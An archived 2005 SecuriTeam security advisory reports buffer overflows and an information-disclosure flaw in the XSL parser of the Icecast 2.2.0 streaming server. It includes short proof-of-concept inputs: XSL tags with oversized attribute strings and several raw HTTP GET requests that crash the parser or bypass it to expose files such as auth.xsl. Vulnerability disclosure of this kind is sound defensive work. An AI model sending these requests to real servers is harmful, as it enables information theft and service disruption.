[UNIX] IceCast's Multiple Vulnerabilities (XMP parser)

• Previous message: SecuriTeam: "[NEWS] Buffer Overflow in Thomson TCW690 Cable Modem HTTP Server"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 22 Mar 2005 19:20:13 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  IceCast's Multiple Vulnerabilities (XMP parser)
------------------------------------------------------------------------

SUMMARY

" <http://www.icecast.org> Icecast is a streaming media server which
currently supports Ogg Vorbis and MP3 audio streams. It can be used to
create an Internet radio station or a privately running jukebox and many
things in between."

Multiple vulnerabilities found in IceCast XML parser. This could allow
local privilage escelation

DETAILS

Vulnerable Systems:
 * IceCast version 2.20

The XSL parser is vulnerable to multiple buffer overflow vulnerabilities.
This can be exploited for local privilege escalation, under the user that
the server runs.

Proof of Concept Code:
<xsl:when test="<lots of chars>"></xsl:when>
<xsl:if test="<lots of chars>"></xsl:if>
<xsl:value-of select="<lots of chars>" />

Cause XSL parser error "Could not parse XSLT file":
GET /status.xsl> HTTP/1.0
GET /status.xsl< HTTP/1.0
GET /<status.xsl HTTP/1.0

XSL parser bypass and information disclosure:
GET /auth.xsl. HTTP/1.0
GET /status.xsl. HTTP/1.0

ADDITIONAL INFORMATION

The information has been provided by <mailto:patrickthomassen@gmail.com>
Patrick.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[NEWS] Buffer Overflow in Thomson TCW690 Cable Modem HTTP Server"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

Relevant Pages

• [NT] CA ARCServe Backup for Laptops and Desktops Multiple Buffer Overflow Vulnerabilities
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... CA ARCServe Backup for Laptops
  and Desktops Multiple Buffer Overflow ... Remote exploitation of multiple buffer overflow
  vulnerabilities in ... rxsGetSubDirs, rxsGetServerDBPathName, rxsSetServerOptions,
  rxsDeleteFile, ... (Securiteam)
• [NT] Novell eDirectory Multiple Vulnerabilities
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... Novell eDirectory Multiple
  Vulnerabilities ... Three different vulnerabilities were discovered in Novell's eDirectory
  ... NCP over IP length Heap Overflow: ... (Securiteam)
• [NEWS] Multiple Vendor ImageMagick DCM and XWD Buffer Overflow Vulnerabilities
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Vendor ImageMagick
  DCM and XWD Buffer Overflow Vulnerabilities ... (Securiteam)
• [UNIX] Apache HTTPD suEXEC Multiple Vulnerabilities
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... Apache HTTPD suEXEC Multiple
  Vulnerabilities ... Local exploitation of multiple vulnerabilities within Apache Software
  ... Foundation's suexec utility could allow an attacker to execute arbitrary ...
  (Securiteam)
• [UNIX] IBM DB2 Universal Database Multiple Privilege Escalation Vulnerabilities
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... IBM DB2 Universal Database
  Multiple Privilege Escalation Vulnerabilities ... (Securiteam)